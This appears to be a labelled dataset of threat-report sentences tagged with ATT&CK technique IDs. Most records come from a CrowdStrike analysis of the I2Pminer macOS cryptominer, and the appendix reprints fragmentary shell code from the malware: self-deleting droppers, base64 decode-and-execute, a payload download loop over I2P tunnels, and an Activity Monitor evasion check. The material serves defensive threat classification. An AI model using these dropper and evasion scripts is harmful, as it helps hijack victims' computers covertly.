{"sentence": "[14] “NVD - CVE-2021-3129.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[15] “NVD - CVE-2020-2551.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://nvd.nist.gov/vuln/detail/CVE-2020-2551 (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[16] “NVD - CVE-2021-44228.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[17] “NVD - CVE-2022-39197.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://nvd.nist.gov/vuln/detail/CVE-2022-39197 (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[18] “SONAS 松山科技,” 開啟無接觸接待體驗與旅程, Feb. 12, 2023. /", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "(accessed May 08, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[20] “Budworm: Espionage Group Returns to Targeting U.S. Organizations.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/budworm-espionage-us-state (accessed May 08, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Remote Administration Tool was created by a Chinese hacking group named C. Rufus Security Team that released it publicly in 2008.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "The public release of Gh0st RAT source code made it easy for threat actors to obtain and tailor the tool to their needs.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Its feature set expanded over the years to include various surveillance, persistence, and information-stealing capabilities: Taking full control of the infected machine Recording keystrokes in real time with offline logging available Accessing live web cam feeds including microphone recording Downloading files remotely Remote shutdown and reboot Disabling user input Over Gh0st RAT’s long life, Chinese nation-state threat actors have used it to breach high-value targets such as governments, embassies, economic targets, and media.", "labels": ["T1056.001", "T1105"], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "One such breach was the operation known as “GhostNet” in 2009, in which a large-scale cyber-attack used Gh0st RAT to conduct surveillance and espionage.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "The breach impacted the Dalai Lama’s Tibetan exile centers in multiple countries.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Although Gh0st RAT was first identified in reports of threat activity almost 15 years ago, it is still actively distributed today.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Cofense Intelligence identified an email targeting a European-owned medical technology organization located in China, attempting to deliver Gh0st RAT via an embedded link.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "The embedded link that hosted the malware was affiliated with Tencent and based in Hong Kong.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "The sample’s command and control (C2) server is also located on the CHINANET Jiangsu province network in the city of Nanjing.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Figure 1: A screenshot of the recent phishing email used to deliver Gh0st RAT via an embedded link.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Figure 2: A translation of the body of the recent Gh0st RAT campaign shows that it used an unpaid invoice as a theme.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "However, since Gh0st RAT’s source code is publicly available, it remains plausible that any threat actor could download and modify the code for their own needs.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Figure 3: Details of the recent Gh0st RAT sample’s C2 server on the network information service Shodan.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Any observations contained in this blog regarding circumvention of end point protections are based on observations at a point in time based on a specific set of system configurations.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Subsequent updates or different configurations may be effective at stopping these or similar threats.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Past performance is not indicative of future results.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "The post Open-Source Gh0st RAT Still Haunting Inboxes 15 Years After Release appeared first on Cofense.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "CrowdStrike analyzed an I2Pminer variant that targets macOS", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The mineware utilizes I2P to hide XMRig network traffic The CrowdStrike Falcon:registered: platform provides continuous protection against mineware threats by offering real-time visibility across workloads CrowdStrike recently analyzed a macOS-targeted mineware campaign that utilized malicious application bundles to deliver open source XMRig cryptomining software and Invisible Internet Protocol (I2P) network tooling.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Research began after identifying suspicious multi-architecture binaries within a public malware repository.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Analysis of common samples shows that the techniques in this campaign date back to the summer of 2021.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The identified applications shared a common theme: identifying as Apple Logic Pro X, Final Cut Pro, Traktor or various Adobe Creative Suite products.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The primary executable is a dropper containing a legitimate version of the application and I2P tooling.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Utilizing I2P, the dropper then downloads a custom XMRig miner and orchestrates the mining operations.", "labels": ["T1105"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Open source reporting1 also observed similar usage of I2P and XMRig, but the previous threats did not involve the same usage of a legitimate application and scripts to deploy its tooling.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "It then relies on a number of shell scripts to configure and orchestrate its mining operations.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Installation It is likely that these malicious application bundles are distributed via Apple Disk Images (DMGs).", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The malicious application bundles were observed executing out of the /Applications/ folder.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Dropper Binary At the core of these malicious application bundles is a Mach-O binary acting as a dropper.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Binaries were found to be universal Mach-Os, supporting both x86_64 and ARM architectures.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The dropper binary is located within the installed application bundle at /Applications/Logic Pro X.app/Contents/MacOS/Logic Pro X.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The dropper is responsible for orchestrating the installation and execution of the legitimate application, I2P tooling and XMRig miner.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Figure 2 outlines the multiple layers of process execution.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Dropper execution diagram (click to enlarge)", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Throughout the dropper’s lifecycle, it heavily relies on randomly generated names for folders and files in the /tmp/ directory.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The dropper binary generates a number of these file paths through its own random character generator and dynamically produces the script content with these generated values.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The scripts also rely heavily on the usage of mktemp to generate variables within the scripts.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Files produced within the Mach-O are generated with 10 characters, whereas usage of mktemp within the scripts produces files made of eight characters.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Legitimate Application Dropper Script", "labels": ["T1036.005"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "During this process a large Base64-encoded file is written to disk.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "An example of this script can be found in the Appendix.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Its purpose is to create a mirrored application bundle located in the host’s /tmp/ directory.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The mirrored bundle contains the legitimate application instead of the dropper binary.", "labels": ["T1036.005"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The script removes any files that conflict with its randomly generated paths.", "labels": ["T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "It creates symbolic links in the /tmp/ bundle to mirror all directories found in /Applications/Logic Pro X.app/Contents and /Applications/Logic Pro X.app/Contents/MacOS to their respective /tmp/ locations.", "labels": ["T1036.005"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "All files located in /Applications/Logic Pro X.app/Contents folder are copied to their respective /tmp/ location.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The Logic Pro X dropper binary is deleted with the /tmp/ bundle.", "labels": ["T1027"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "It will be replaced with the legitimate application.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The script’s final action is to set the executable bit of this binary.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The original dropper process continues to execute in order to orchestrate the mining operations.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "It relies on two additional scripts to configure the I2P network tooling and download the XMRig mining software.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "I2P Dropper Script I2P is an anonymous network layer.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "All communications over I2P are anonymous and end-to-end encrypted, and users of the network don’t reveal their real IP addresses.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "An example of the script can be found in the Appendix.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The script first deletes itself from the disk.", "labels": ["T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The i2pd binary is stored within the script as a large, inline Base64-encoded variable.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "This value is decoded and the output is written to an additional file (/tmp/._[a-zA-Z]{8}).", "labels": ["T1140"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The exec call will execute the binary and modify the process name to the mdworker_shared file path.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "After the process executes, the I2P dropper script removes the i2pd Mach-O file from the disk.", "labels": ["T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "i2pd The I2P Daemon binary dropped by the Logic Pro X dropper is tooling built using version 2.41.0 of the open source project.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Public i2pd binaries rely on config files or command line arguments for necessary configuration of tunnels and upstream connections.", "labels": ["T1059.003"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The binary used in this threat is custom tooling developed on top of the i2pd code base.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "This allows it to minimize command line arguments and additional files dropped to disk.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The custom binary is built to configure two tunnels from the local host to the I2P network.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The listener utilizing port 4444 is called “pool” while the listener utilizing port 4445 is labeled “payload.”", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Each tunnel is configured to tunnel traffic to an upstream address within the I2P network.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The following chart summarizes the tunnels and their configurations.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Label Type Local Address Local Port Destination Address pool client 127.0.0.1 4444 hghsfkrat5dd7ikqzk3d3h5jattjxlru6zmxzxd7y3wib6goodmq.b32[.]i2p payload client 127.0.0.1 4445 jiasil3a7kcxitu4swlixbnyt6wbbm65kqknqknnvkj2yvj7lliq.b32[.]i2p", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The host now has a running i2pd process.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "This will enable it to use the I2P network for the XMRig download, and to handle the miner’s network communications.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "XMRig Downloader Script XMRig is an open source CPU/GPU miner that supports numerous protocols.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The script is executed as a command line argument passed into a /bin/sh -c", "labels": ["T1059.003"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "[scriptcontent] subprocess.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "This script is executed by the Mach-O dropper before the I2P Dropper script, but its first step is to sit in a loop and wait for the creation of the /tmp/i2pd directory.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "This directory is generated during the execution of the I2P Dropper script.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "This localhost port is configured to tunnel traffic through i2pd to the destination address listed above.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "This loop attempts the download every five seconds until it is successful.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "During this loop, the script implements a check using pgrep for Activity Monitor processes in an attempt to evade user detection.", "labels": ["T1518.001"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "If Activity Monitor is detected then execution is stopped and the script exits.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "If the MD5 hash is successfully downloaded, its value is saved and execution is passed to the second subloop.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "This second subloop performs the same actions but instead pulls the XMRig payload from http://127.0.0[.]1:4445/update.", "labels": ["T1105"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "If this download is successfully written to disk, it is hashed and the value is compared to the previously downloaded MD5 hash.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "If the hashes are equal, execution proceeds past the download loop — otherwise, the outer download loop is reevaluated.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "In order to accomplish this, curl is used to send a post message to http://127.0.0[.]1:4543/1/config.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "An example of this config can be found in the Appendix.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "If Activity Monitor is running, the script kills the I2P Daemon and XMRig miner processes and exits.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "XMRig The XMRig binary dropped by the Logic Pro X dropper is also custom tooling built using version 6.18.1 of the open source project.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The binary’s source is modified to execute with an altered default configuration.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Similar to the I2P Daemon, this is done to minimize command line arguments.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The http API is also enabled by default.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "This is done so that no configs need to be passed via the command line and that the config can be sent via curl within the XMRig download script.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The config also reveals a few details about the mining operations.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The existence of a donate-over-proxy value and the usage of generic user and password values within the XMRig configuration reveal the usage of a mining proxy.", "labels": ["T1090"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The usage of a proxy allows authors to control all of their mining implants and their target pools via a centralized console.", "labels": ["T1090"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "This proxy server is located on the I2P network at the destination of the pool tunnel.", "labels": ["T1090"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "With the observed configuration, it will utilize the I2P network and the mining proxy to perform CPU mining operations on the host.", "labels": ["T1090"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The dropper bundle in the applications folder appears legitimate, and this bundle houses all of the Logic Pro X dependencies/frameworks.", "labels": ["T1036.005"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The authors cleverly utilized these legitimate dependencies via symbolic links when dynamically creating the legitimate bundle in the temp folder.", "labels": ["T1036.005", "T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Even though the scripts produce many on-disk artifacts, the dropper and scripts are quick to remove them as soon as they are executed or used.", "labels": ["T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "This is so that it can blend in within process tree/process viewers.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Mining-related CPU spikes can be difficult to notice due to the system resource-intensive applications that were chosen.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Persistence The dropper does not establish persistence through typical means, instead relying on the lure of its legitimate application for execution.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "As long as the dropper successfully launches its legitimate application, the user will continue to execute the dropper under the assumption that it is legitimate.", "labels": ["T1036.005", "T1204.002"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Dropper Variant A related group of dropper variants was also identified (e.g., 27158886ab064880aa5d5196248f2ad4b20b38bbb1321f72bca17351165ea3e5).", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The setup script is the app bundle’s primary executable and serves to execute the legitimate binary, copy the Mach-O dropper to /tmp/._[a-zA-Z]{10} and execute the relocated Mach-O. Similar to the techniques and analysis above, the Mach-O dropper installs i2pd and the XMRig miner.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The CrowdStrike Falcon Platform’s Continuous Monitoring and Visibility The Falcon platform takes a layered approach to protect workloads.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Using on-sensor and cloud-based machine learning, behavior-based detection using indicators of attack (IOAs), and intelligence related to tactics, techniques and procedures (TTPs) employed by threats and threat actors, the Falcon platform enables visibility, threat detection and continuous monitoring for any environment, reducing the time to detect and mitigate threats.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The industry-leading CrowdStrike Falcon platform sets the new standard in cybersecurity.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Watch this demo to see the Falcon platform in action.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The Falcon platform prevents I2Pminer at various steps throughout its execution, detecting and preventing behavior such as the suspicious dropper script (see Figure 3).", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Suspicious command line execution (click to enlarge) To maximize protection, CrowdStrike recommends enabling the following prevention policy visibility and configuration toggles.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Toggle Prevention Policy Category Description Script-Based Execution Monitoring Sensor Visibility Provides visibility into suspicious scripts, including shell and other scripting languages.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Suspicious Processes Execution Blocking Block processes that CrowdStrike analysts classify as suspicious.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "These are focused on dynamic IOAs, such as malware, exploits and other threats.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "See for yourself how the industry-leading CrowdStrike Falcon platform protects against modern threats like wipers and ransomware.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Start your 15-day free trial today.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Unix Shell (T1059.004)", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The dropper utilizes /bin/sh for subprocess execution.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "User Execution (T1204)", "labels": ["T1204.002"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The dropper is executed by the user.", "labels": ["T1204.002"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Defense Evasion Deobfuscate/Decode Files or Information (T1140) Files are dropped/downloaded as Base64-encoded archives.", "labels": ["T1027"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Indicator Removal: File Deletion (T1070.004)", "labels": ["T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "The dropper is installed into a legitimate file path, posing as the legitimate application. i2pd and XMRig also utilize legitimate file paths to mask their execution.", "labels": ["T1036.005"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "Impact Resource Hijacking (T1496) XMRig utilizes system resources for mining operations. Indicators of Compromise (IOCs) Files File SHA256 Dropper (Logic Pro X) bfa9f7b8014efab4143fb2a77732257144f3b804ee757fb41c9971b715da53d7 i2pd a22b48ce098ad4b082c4f4de78c708294e08212ab8dfd818642f7922c8e794c3 XMRig 86019af5850b01c6c6c9c724e0468a891947b2ef5da930405a30342f1e6ae5eb Dropper (Variant) 27158886ab064880aa5d5196248f2ad4b20b38bbb1321f72bca17351165ea3e5 I2P Domains Domain hghsfkrat5dd7ikqzk3d3h5jattjxlru6zmxzxd7y3wib6goodmq.b32[.]i2p jiasil3a7kcxitu4swlixbnyt6wbbm65kqknqknnvkj2yvj7lliq.b32[.]i2p Appendix Legitimate Application Script sh -c SCRIPTPATH=$( cd -- \"$(dirname \"/Applications/Logic Pro X.app/Contents/MacOS/Logic Pro X\")/..\"", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": ">/dev/null 2>&1 ; pwd -P );BLOB_PATH=\"/tmp/._KbmflZqwXa\";IMG_SP_PATH=\"/tmp/._bHOospjBUL\";[ -f \"$IMG_SP_PATH\" ] && rm -rf \"$IMG_SP_PATH\";[ -d \"$IMG_SP_PATH\" ] && rm -rf \"$IMG_SP_PATH\";TMPDIR=\"$IMG_SP_PATH/Logic Pro X.app/Contents\";mkdir -p", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "> /dev/null 2>&1;rm", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "-rf", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "\"$TMPDIR/MacOS\";mkdir \"$TMPDIR/MacOS\";(find \"$SCRIPTPATH\" -type f -maxdepth 1 -exec cp {} \"$TMPDIR\" \\;) > /dev/null 2>&1;(find \"$SCRIPTPATH/MacOS\" -type f -mindepth 1 -maxdepth 1 -exec ln -s ../ {} \"$TMPDIR/MacOS\" \\;) > /dev", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "/null 2>&1;APP_MACH=\"$TMPDIR/MacOS/Logic Pro X\";rm", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "\"$CT\" -O >\"$APP_MACH\";rm -rf \"$CT\";rm -rf \"$BLOB_PATH\";chmod +x \"$APP_MACH\"; I2P Dropper Script #!/bin/bash rm -rf \"$0\";I2PCTMPFILE=$(mktemp /tmp/._XXXXXXXX);I2PBASE64BLOB=\"[base64 blob]\";echo $I2PBASE64BLOB | base64 -o \"$I2PCTMPFILE\" -d;tar -xf \"$I2PCTMPFILE\" -O > \"$0\";head -c $(($RANDOM*$((1 + RANDOM % 1000))))", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "/dev/zero >>", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "\"/tmp/i2pd/._pid\");sleep 3 && rm -rf \"$0\";exit XMRig Downloader Script sh -c /System/Library/Frameworks/Quartz.framework/Versions/A/Frameworks/QuickLookUI.framework/Versions/A/XPCServices/QuickLookUIService.xpc/Contents/MacOS/mdworker-bundle -s mdworker-bundle -c MDSImporterBundleFinder -m", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "com.apple.metadata.mdbulkimport > /dev/null 2>&1;appId=\"[uniqueid]\";r_nme=\"BGlyVRaZgH\";r_i2=\"QSRqPzSHBd\";tmr=\"\\u000c\";rnd_sz=\"2521286\";PLD=\"update\";MD5=\"updtmd\";[ ! -d \"/tmp/i2pd\" ] && mkdir \"/tmp/i2pd\"; (( while true; do sleep 1; [ -f \"/tmp/i2pd/._pid\" ] && break;done; PID=$(cat \"/tmp/i2pd/._pid\") && rm -rf \"/tmp/i2pd/._pid\"; chmod +x \"/tmp/._${r_i2}\"; (\"/tmp/._${r_i2}\" &); while true; do sleep 2; [ -f \"/tmp/i2pd/._pid\" ] && break;done; I2PD_PID=$(cat \"/tmp/i2pd/._pid\") && rm -rf \"/tmp/i2pd/._pid\"; tmpwd=\"/tmp\"; d_p=\"$tmpwd/._${r_nme}\"; d_md5=\"$tmpwd/._${r_nme}_md5\"; [ -d \"$d_p\" ] && rm -rf \"$d_p\"; [ -d \"$d_md5\" ] && rm -rf \"$d_md5\"; [ -f \"$d_p\" ] && rm -rf \"$d_p\"; [ -f \"$d_md5\" ] && rm -rf \"$d_md5\"; complete=\"false\"; finished=\"false\"; while [ \"$complete\" !", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "= \"\" ] && kill -9 \"$I2PD_PID\" >", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
{"sentence": "/dev/null 2>&1;[ \"$PID\" !", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"}
